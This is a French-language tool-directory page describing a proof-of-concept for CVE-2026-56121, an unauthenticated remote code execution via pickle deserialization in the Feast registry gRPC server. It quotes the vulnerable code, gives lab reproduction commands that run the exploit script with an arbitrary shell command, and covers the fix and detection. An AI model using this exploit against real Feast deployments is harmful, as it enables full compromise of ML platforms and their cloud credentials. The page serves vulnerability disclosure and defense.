Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-56121-Feast-Unauth-RCE — CVE-2026-56121 — Feast <0.63.0 RCE non authentifié via le registre gRPC dill.loads de UDF OnDemandFeatureView (pré-authentification). Lab + PoC, vérifié e2e. | Kitploit
Outils/GitHubGitHub/biitts/cve-2026-56121-feast-unauth-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebAnalyse de MalwareTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesLabs et Pratique
GitHubbiitts/cve-2026-56121-feast-unauth-rce

CVE-2026-56121-Feast-Unauth-RCE

CVE-2026-56121 — Feast <0.63.0 RCE non authentifié via le registre gRPC dill.loads de UDF OnDemandFeatureView (pré-authentification). Lab + PoC, vérifié e2e.

Voir le dépôt
4il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-56121 — Exécution de code à distance non authentifiée via la désérialisation du registre gRPC de Feast

Le serveur gRPC du registre Feast < 0.63.0 exécute dill.loads() sur la fonction définie par l'utilisateur d'un OnDemandFeatureView dès qu'une spécification arrive — avant toute vérification d'autorisation. La configuration livrée est auth: no_auth, donc tout client pouvant atteindre le port du registre (par défaut 6570) obtient une exécution de code à distance non authentifiée en envoyant une seule requête ApplyFeatureView avec un pickle malveillant.

CVECVE-2026-56121
AffectedFeast < 0.63.0
Fixed0.63.0
ClassCWE-502 (Désérialisation de données non fiables) → RCE
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthAucune (auth: no_auth par défaut ; la désérialisation a lieu avant l'autorisation)
Surfaceregistre gRPC RegistryServer.ApplyFeatureView (port par défaut 6570)
StatusCONFIRMÉ — reproduit de bout en bout avec feast==0.62.0

Cause racine

sdk/python/feast/registry_server.py:

root@kitploit:~
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    ...
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # (1) deserialize
        ...
    assert_permissions_to_update(resource=feature_view, ...)                            # (2) authorize
    self.proxied_registry.apply_feature_view(...)

from_proto (1) est appelé avant la vérification des permissions (2). Il analyse la transformation, qui exécute dill.loads() sur le corps de la UDF — sdk/python/feast/transformation/pandas_transformation.py (et python_transformation.py) :

root@kitploit:~
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # <-- attacker-controlled pickle
        udf_string=user_defined_function_proto.body_text,
    )

dill est un sur-ensemble de pickle, donc dill.loads() d'octets attaquants invoque le mécanisme __reduce__ de pickle → exécution de code arbitraire. Comme il s'exécute avant assert_permissions_to_update — et que le auth: no_auth par défaut rend cette vérification inopérante — la RCE est non authentifiée.

Reproduire

root@kitploit:~
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d

# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
#   uid=...(...)  <hostname>

Observé :

root@kitploit:~
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

Le RPC finit par générer une erreur (l'objet dépicklé n'est plus une UDF appelable), mais la commande s'est déjà exécutée pendant dill.loads() — cat /tmp/feast_pwned renvoie la sortie réelle de id/uname, prouvant l'exécution plutôt qu'un simple écho.

Impact

Toute personne capable d'atteindre le port gRPC du registre Feast peut exécuter des commandes OS arbitraires en tant que compte de service du registre — compromission totale du feature store et des stores hors ligne/en ligne, des registres et des identifiants cloud auxquels il est connecté. Les registres Feast sont fréquemment exposés à l'intérieur des plateformes ML pour que les clients SDK puissent les appeler.

Correction

  • Mettez à niveau vers Feast ≥ 0.63.0, qui ajoute un chemin skip_udf afin que le serveur de registre ne désérialise plus le corps de la UDF des spécifications entrantes.
  • Défense en profondeur : activez auth (oidc/kubernetes) et n'exposez jamais le port du registre à des réseaux non fiables. Notez que l'authentification seule ne suffit pas sur < 0.63.0, car la désérialisation précède la vérification d'autorisation.

Détection

Alertez sur les RPC ApplyFeatureView / ApplyMaterialization vers le registre dont le user_defined_function.body de OnDemandFeatureView n'est pas produit par un client de confiance, et sur les processus du registre qui lancent des shells. Consultez ANALYSIS.md pour le chemin proto, l'ordre désérialisation-avant-autorisation et le correctif.


  • Auteur : Caio Fabrício — github.com/BiiTts
  • Le crédit de la vulnérabilité appartient au rapporteur original / à l'avis du vendeur ; ce dépôt est une reproduction indépendante à des fins défensives et éducatives. Réservé aux tests de sécurité autorisés.
Télécharger l’outil